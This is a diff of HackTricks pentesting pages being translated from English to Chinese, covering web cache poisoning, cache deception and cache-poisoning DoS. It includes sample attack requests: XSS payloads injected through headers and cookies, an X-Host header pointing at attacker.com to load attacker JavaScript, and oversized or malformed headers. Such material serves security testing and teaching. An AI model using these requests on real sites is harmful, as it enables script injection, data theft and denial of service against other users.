值得注意的是,**`/html/bookmarks.html`** 页面容易受到框架攻击,因此容易受到 **clickjacking** 的影响。此漏洞被利用,将页面嵌入攻击者的网站中,并用 DOM 元素覆盖,从而欺骗性地重新设计界面。这种操控导致受害者无意中与底层扩展进行交互。
## References
@ -116,4 +102,3 @@ Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerabl
- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,150 +1,139 @@
# Cache Poisoning and Cache Deception
# 缓存中毒和缓存欺骗
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
## The difference
## 区别
> **What is the difference between web cache poisoning and web cache deception?**
> **Web缓存中毒和Web缓存欺骗之间有什么区别**
>
> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
> - **Web缓存中毒** 中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容从缓存中提供给其他应用程序用户。
> - **Web缓存欺骗** 中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
## Cache Poisoning
## 缓存中毒
Cache poisoning is aimed at manipulating the client-side cache to force clients to load resources that are unexpected, partial, or under the control of an attacker. The extent of the impact is contingent on the popularity of the affected page, as the tainted response is served exclusively to users visiting the page during the period of cache contamination.
缓存中毒旨在操纵客户端缓存,强迫客户端加载意外、部分或在攻击者控制下的资源。影响的程度取决于受影响页面的受欢迎程度,因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
The execution of a cache poisoning assault involves several steps:
执行缓存中毒攻击涉及几个步骤:
1. **Identification of Unkeyed Inputs**: These are parameters that, although not required for a request to be cached, can alter the response returned by the server. Identifying these inputs is crucial as they can be exploited to manipulate the cache.
2. **Exploitation of the Unkeyed Inputs**: After identifying the unkeyed inputs, the next step involves figuring out how to misuse these parameters to modify the server's response in a way that benefits the attacker.
3. **Ensuring the Poisoned Response is Cached**: The final step is to ensure that the manipulated response is stored in the cache. This way, any user accessing the affected page while the cache is poisoned will receive the tainted response.
1. **识别未键入的输入**:这些是参数,尽管不是缓存请求所必需的,但可以改变服务器返回的响应。识别这些输入至关重要,因为它们可以被利用来操纵缓存。
2. **利用未键入的输入**:在识别未键入的输入后,下一步是弄清楚如何滥用这些参数,以修改服务器的响应,从而使攻击者受益。
3. **确保被污染的响应被缓存**:最后一步是确保被操纵的响应被存储在缓存中。这样,任何在缓存被污染时访问受影响页面的用户将收到被污染的响应。
### Discovery: Check HTTP headers
### 发现检查HTTP头
Usually, when a response was **stored in the cache** there will be a **header indicating so**, you can check which headers you should pay attention to in this post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
通常,当响应被 **存储在缓存中** 时,会有一个 **指示的头**,您可以在此帖子中检查您应该关注哪些头:[**HTTP缓存头**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)
### Discovery: Caching error codes
### 发现:缓存错误代码
If you are thinking that the response is being stored in a cache, you could try to **send requests with a bad header**, which should be responded to with a **status code 400**. Then try to access the request normally and if the **response is a 400 status code**, you know it's vulnerable (and you could even perform a DoS).
如果您认为响应正在被存储在缓存中,您可以尝试 **发送带有错误头的请求**,这应该会以 **状态代码400** 响应。然后尝试正常访问请求,如果 **响应是400状态代码**您就知道它是脆弱的您甚至可以执行DoS
You can find more options in:
您可以在以下位置找到更多选项:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
However, note that **sometimes these kinds of status codes aren't cached** so this test could not be reliable.
但是,请注意 **有时这些状态代码不会被缓存**,因此此测试可能不可靠。
### Discovery: Identify and evaluate unkeyed inputs
You could use [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load the script from there:
### 发现:识别和评估未键入的输入
您可以使用 [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) 来 **暴力破解参数和头**,这些可能会 **改变页面的响应**。例如,一个页面可能使用头 `X-Forwarded-For` 来指示客户端从那里加载脚本:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### 引发后端服务器的有害响应
### Elicit a harmful response from the back-end server
在识别出参数/头部后,检查它是如何被**清理**的,以及它**在哪里**被**反映**或影响响应。你能以任何方式滥用它吗执行XSS或加载你控制的JS代码执行DoS...
With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)
### 获取响应缓存
### Get the response cached
一旦你**识别**出可以被滥用的**页面**,使用哪个**参数**/**头部**以及**如何**滥用它,你需要将页面缓存。根据你尝试缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。
Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.
响应中的头部**`X-Cache`**可能非常有用,因为当请求未被缓存时,它的值可能是**`miss`**,而当它被缓存时,值为**`hit`**。\
头部**`Cache-Control`**也很有趣,可以知道资源是否被缓存,以及下次资源将何时再次被缓存:`Cache-Control: public, max-age=1800`
The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\
The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
另一个有趣的头部是**`Vary`**。这个头部通常用于**指示额外的头部**,这些头部被视为**缓存键的一部分**,即使它们通常没有键。因此,如果用户知道他所针对的受害者的`User-Agent`,他可以为使用该特定`User-Agent`的用户毒化缓存。
Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.
与缓存相关的另一个头部是**`Age`**。它定义了对象在代理缓存中存在的时间(以秒为单位)。
One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache.
在缓存请求时,要**小心使用的头部**,因为其中一些可能会被**意外使用**为**键**,而**受害者需要使用相同的头部**。始终使用**不同的浏览器测试**缓存中毒是否有效。
When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
## 利用示例
## Exploiting Examples
### Easiest example
A header like `X-Forwarded-For` is being reflected in the response unsanitized.\
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
### 最简单的示例
`X-Forwarded-For`这样的头部在响应中未经过清理地被反映。\
你可以发送一个基本的XSS有效负载并毒化缓存这样每个访问该页面的人都会受到XSS攻击
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_注意这将使请求变得无效到 `/en?region=uk` 而不是 `/en`_
_Note that this will poison a request to `/en?region=uk` not to `/en`_
### Cache poisoning to DoS
### 缓存中毒导致拒绝服务
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.
### 使用网络缓存中毒来利用 cookie 处理漏洞
Cookies 也可能在页面的响应中被反射。如果你能利用它造成 XSS例如你可能能够在加载恶意缓存响应的多个客户端中利用 XSS。
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
注意,如果易受攻击的 cookie 被用户频繁使用,常规请求将清除缓存。
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
### 使用分隔符、规范化和点生成差异 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Check:
检查:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### 通过路径遍历进行缓存污染以窃取 API 密钥 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过类似 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 窃取 OpenAI API 密钥,因为任何匹配 `/share/*` 的内容都会被缓存,而 Cloudflare 在请求到达 web 服务器时并未对 URL 进行规范化。
This is also explained better in:
这在以下内容中也有更好的解释:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Sometimes you will need to **exploit several unkeyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect. You can control where the page is pointed by the redirect.
### 使用多个头部利用 web 缓存污染漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
有时您需要 **利用多个未键入的输入** 来滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,您可能会发现一个 **开放重定向**。**如果** 服务器 **将** 所有 **HTTP** 请求 **转发****HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### 利用有限的 `Vary`
### Exploiting with limited `Vary`header
If you found that the **`X-Host`** header is being used as **domain name to load a JS resource** but the **`Vary`** header in the response is indicating **`User-Agent`**. Then, you need to find a way to exfiltrate the User-Agent of the victim and poison the cache using that user agent:
如果你发现 **`X-Host`** 头被用作 **加载 JS 资源的域名**,但响应中的 **`Vary`** 头指示 **`User-Agent`**。那么,你需要找到一种方法来提取受害者的 User-Agent 并使用该用户代理来污染缓存:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Fat Get
Send a GET request with the request in the URL and in the body. If the web server uses the one from the body but the cache server caches the one from the URL, anyone accessing that URL will actually use the parameter from the body. Like the vuln James Kettle found at the Github website:
发送一个带有请求的GET请求URL和请求体中都包含该请求。如果web服务器使用请求体中的内容但缓存服务器缓存的是URL中的内容那么任何访问该URL的人实际上将使用请求体中的参数。就像James Kettle在Github网站上发现的漏洞
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -153,91 +142,90 @@ Content-Length: 22
report=innocent-victim
```
有一个关于此的portswigger实验室[https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### 参数伪装
### Parameter Cloacking
例如在ruby服务器中可以使用字符**`;`**而不是**`&`**来分隔**参数**。这可以用来将无键参数值放入有键参数中并进行滥用。
For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
Portswigger实验室[https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### 通过滥用HTTP请求走私来利用HTTP缓存中毒
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
在这里了解如何通过滥用[HTTP请求走私进行缓存中毒攻击](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)。
Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Web缓存中毒的自动化测试
### Automated testing for Web Cache Poisoning
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)可以用于自动测试Web缓存中毒。它支持多种不同的技术并且高度可定制。
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.
示例用法:`wcvs -u example.com`
Example usage: `wcvs -u example.com`
## Vulnerable Examples
## 漏洞示例
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query.
ATS在不剥离URL中的片段的情况下转发了片段并仅使用主机、路径和查询生成缓存键忽略片段。因此请求`/#/../?r=javascript:alert(1)`被发送到后端,作为`/#/../?r=javascript:alert(1)`,而缓存键中没有有效负载,只有主机、路径和查询。
### GitHub CP-DoS
Sending a bad value in the content-type header triggered a 405 cached response. The cache key contained the cookie so it was possible only to attack unauth users.
在content-type头中发送错误值触发了405缓存响应。缓存键包含cookie因此只能攻击未授权用户。
### GitLab + GCP CP-DoS
GitLab uses GCP buckets to store static content. **GCP Buckets** support the **header `x-http-method-override`**. So it was possible to send the header `x-http-method-override: HEAD` and poison the cache into returning an empty response body. It could also support the method `PURGE`.
GitLab使用GCP存储桶来存储静态内容。**GCP存储桶**支持**头部`x-http-method-override`**。因此,可以发送头部`x-http-method-override: HEAD`并使缓存返回空响应体。它还可以支持`PURGE`方法。
### Rack Middleware (Ruby on Rails)
### Rack中间件Ruby on Rails
In Ruby on Rails applications, Rack middleware is often utilized. The purpose of the Rack code is to take the value of the **`x-forwarded-scheme`** header and set it as the request's scheme. When the header `x-forwarded-scheme: http` is sent, a 301 redirect to the same location occurs, potentially causing a Denial of Service (DoS) to that resource. Additionally, the application might acknowledge the `X-forwarded-host` header and redirect users to the specified host. This behavior can lead to the loading of JavaScript files from an attacker's server, posing a security risk.
在Ruby on Rails应用程序中通常使用Rack中间件。Rack代码的目的是获取**`x-forwarded-scheme`**头的值并将其设置为请求的方案。当发送头`x-forwarded-scheme: http`会发生301重定向到相同位置可能导致该资源的拒绝服务DoS。此外应用程序可能会识别`X-forwarded-host`头并将用户重定向到指定主机。这种行为可能导致从攻击者的服务器加载JavaScript文件构成安全风险。
### 403 and Storage Buckets
### 403和存储桶
Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.
Cloudflare之前缓存了403响应。尝试使用不正确的授权头访问S3或Azure存储Blob将导致403响应被缓存。尽管Cloudflare已停止缓存403响应但这种行为可能仍然存在于其他代理服务中。
### Injecting Keyed Parameters
### 注入键参数
Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the `size` parameter in requests. However, if a URL-encoded version of the parameter (e.g., `siz%65`) was also sent with an erroneous value, the cache key would be constructed using the correct `size` parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second `size` parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error.
缓存通常在缓存键中包含特定的GET参数。例如Fastly的Varnish在请求中缓存了`size`参数。然而如果还发送了一个带有错误值的参数的URL编码版本例如`siz%65`),缓存键将使用正确的`size`参数构建。然而后端将处理URL编码参数中的值。对第二个`size`参数进行URL编码导致缓存省略它但后端使用了它。将该参数的值设置为0导致可缓存的400错误请求。
### User Agent Rules
### 用户代理规则
Some developers block requests with user-agents matching those of high-traffic tools like FFUF or Nuclei to manage server load. Ironically, this approach can introduce vulnerabilities such as cache poisoning and DoS.
一些开发人员阻止与高流量工具如FFUF或Nuclei匹配的用户代理的请求以管理服务器负载。讽刺的是这种方法可能引入漏洞例如缓存中毒和DoS。
### Illegal Header Fields
### 非法头字段
The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error.
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)规定了头名称中可接受的字符。包含超出指定**tchar**范围的字符的头理想情况下应触发400错误请求响应。在实践中服务器并不总是遵循此标准。一个显著的例子是Akamai它转发包含无效字符的头并缓存任何400错误只要`cache-control`头不存在。发现了一种可利用的模式,发送带有非法字符(如`\`的头将导致可缓存的400错误请求。
### Finding new headers
### 查找新头
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Cache Deception
## 缓存欺骗
The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
缓存欺骗的目标是使客户端**加载将被缓存保存的敏感信息的资源**。
First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
首先要注意的是,**扩展名**如`.css``.js``.png`等通常被**配置**为**保存**在**缓存**中。因此,如果您访问`www.example.com/profile.php/nonexistent.js`,缓存可能会存储响应,因为它看到`.js`**扩展名**。但是,如果**应用程序**正在**重放**存储在_www.example.com/profile.php_中的**敏感**用户内容,您可以从其他用户那里**窃取**这些内容。
Other things to test:
其他测试内容:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Use lesser known extensions such as_ `.avif`
- _使用不太常见的扩展名如_`.avif`
Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
另一个非常清晰的例子可以在这篇文章中找到:[https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
在这个例子中解释了如果您加载一个不存在的页面如_http://www.example.com/home.php/non-existent.css_将返回_http://www.example.com/home.php_**带有用户的敏感信息**)的内容,并且缓存服务器将保存结果。\
然后,**攻击者**可以在自己的浏览器中访问_http://www.example.com/home.php/non-existent.css_并观察之前访问过的用户的**机密信息**。
Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type (which is the expected for a _.css_ file).
请注意,**缓存代理**应被**配置**为根据文件的**扩展名**_.css_而不是根据内容类型来**缓存**文件。在示例_http://www.example.com/home.php/non-existent.css_中将具有`text/html`内容类型,而不是`text/css` MIME类型这是_.css_文件的预期
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
在这里了解如何通过滥用HTTP请求走私进行[缓存欺骗攻击](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)
## Automatic Tools
## 自动化工具
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
- [**toxicache**](https://github.com/xhzeem/toxicache)Golang扫描器用于在URL列表中查找Web缓存中毒漏洞并测试多种注入技术。
## References
## 参考文献
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
@ -249,10 +237,9 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
使用[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)轻松构建和**自动化工作流**,由世界上**最先进**的社区工具提供支持。\
今天获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,42 +3,35 @@
{{#include ../../banners/hacktricks-training.md}}
> [!CAUTION]
> In this page you can find different variations to try to make the **web server respond with errors** to requests that are **valid for the cache servers**
> 在此页面中,您可以找到不同的变体,以尝试使 **web 服务器对有效的缓存服务器请求** 返回错误
- **HTTP Header Oversize (HHO)**
Send a request with a header size larger than the one supported by the web server but smaller than the one supported by the cache server. The web server will respond with a 400 response which might be cached:
发送一个头部大小大于 web 服务器支持的大小但小于缓存服务器支持的大小的请求。web 服务器将返回一个 400 响应,该响应可能会被缓存:
```
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
```
- **HTTP Meta Character (HMC) & Unexpected values**
Send a header that contain some **harmfull meta characters** such as and . In order the attack to work you must bypass the cache first.
发送一个包含一些**有害元字符**的头,例如和。在攻击生效之前,您必须先绕过缓存。
```
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
```
一个配置不当的头部可能仅仅是 `\:` 作为头部。
A badly configured header could be just `\:` as a header.
This could also work if unexpected values are sent, like an unexpected Content-Type:
如果发送了意外的值,例如意外的 Content-Type:,这也可能有效。
```
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
```
- **无密钥头**
- **Unkeyed header**
Some websites will return an error status code if they **see some specific headers i**n the request like with the _X-Amz-Website-Location-Redirect: someThing_ header:
一些网站会在请求中看到某些特定的头时返回错误状态代码,例如带有 _X-Amz-Website-Location-Redirect: someThing_ 头的请求:
```
GET /app.js HTTP/2
Host: redacted.com
@ -49,21 +42,17 @@ Cache: hit
Invalid Header
```
- **HTTP 方法覆盖攻击 (HMO)**
- **HTTP Method Override Attack (HMO)**
If the server supports changing the HTTP method with headers such as `X-HTTP-Method-Override`, `X-HTTP-Method` or `X-Method-Override`. It's possible to request a valid page changing the method so the server doesn't supports it so a bad response gets cached:
如果服务器支持使用诸如 `X-HTTP-Method-Override``X-HTTP-Method``X-Method-Override` 的头部更改 HTTP 方法。可以通过更改方法请求有效页面,以便服务器不支持它,从而缓存错误响应:
```
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
```
- **无键端口**
- **Unkeyed Port**
If port in the Host header is reflected in the response and not included in the cache key, it's possible to redirect it to an unused port:
如果主机头中的端口在响应中被反射且未包含在缓存键中,则可以将其重定向到未使用的端口:
```
GET /index.html HTTP/1.1
Host: redacted.com:1
@ -72,11 +61,9 @@ HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
```
- **长重定向 DoS**
- **Long Redirect DoS**
Like in the following example, x is not being cached, so an attacker could abuse the redirect response behaviour to make the redirect send a URL so big that it returns an error. Then, people trying to access the URL without the uncached x key will get the error response:
如以下示例所示x 没有被缓存,因此攻击者可以利用重定向响应行为,使重定向发送一个如此大的 URL 以至于返回错误。然后,试图访问没有未缓存的 x 键的 URL 的人将收到错误响应:
```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
@ -91,11 +78,9 @@ Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
```
- **主机头部大小写规范化**
- **Host header case normalization**
The host header should be case insensitive but some websites expect it to be lowercase returning an error if it's not:
主机头部应该是不区分大小写的,但有些网站期望它是小写的,如果不是则会返回错误:
```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
@ -105,11 +90,9 @@ Cache:miss
Not Found
```
- **路径规范化**
- **Path normalization**
Some pages will return error codes sending data URLencode in the path, however, the cache server with URLdecode the path and store the response for the URLdecoded path:
某些页面在路径中发送数据 URLencode 时会返回错误代码,但缓存服务器会对路径进行 URLdecode 并存储 URLdecoded 路径的响应:
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
@ -120,11 +103,9 @@ Cach:miss
Not Found
```
- **Fat Get**
Some cache servers, like Cloudflare, or web servers, stops GET requests with a body, so this could be abused to cache a invalid response:
一些缓存服务器,如 Cloudflare或 web 服务器,停止带有主体的 GET 请求,因此这可能被滥用来缓存无效响应:
```
GET /index.html HTTP/2
Host: redacted.com
@ -136,11 +117,9 @@ xyz
HTTP/2 403 Forbidden
Cache: hit
```
## References
## 参考文献
- [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
- [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,52 +2,51 @@
{{#include ../../banners/hacktricks-training.md}}
This is a summary of the techniques proposed in the post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) in order to perform cache poisoning attacks **abusing discrepancies between cache proxies and web servers.**
这是对帖子中提出的技术的总结 [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all),目的是执行缓存中毒攻击 **利用缓存代理和Web服务器之间的差异。**
> [!NOTE]
> The goal of this attack is to **make the cache server think that a static resource is being loaded** so it caches it while the cache server stores as cache key part of the path but the web server responds resolving another path. The web server will resolve the real path which will be loading a dynamic page (which might store sensitive information about the user, a malicious payload like XSS or redirecting to lo load a JS file from the attackers website for example).
> 此攻击的目标是 **让缓存服务器认为正在加载静态资源**因此它会缓存该资源而缓存服务器将路径的一部分存储为缓存键但Web服务器响应解析另一个路径。Web服务器将解析实际路径这将加载一个动态页面可能存储有关用户的敏感信息、恶意负载如XSS或重定向以从攻击者网站加载JS文件等
## Delimiters
**URL delimiters** vary by framework and server, impacting how requests are routed and responses are handled. Some common origin delimiters are:
**URL分隔符**因框架和服务器而异,影响请求的路由和响应的处理。一些常见的源分隔符包括:
- **Semicolon**: Used in Spring for matrix variables (e.g. `/hello;var=a/world;var1=b;var2=c``/hello/world`).
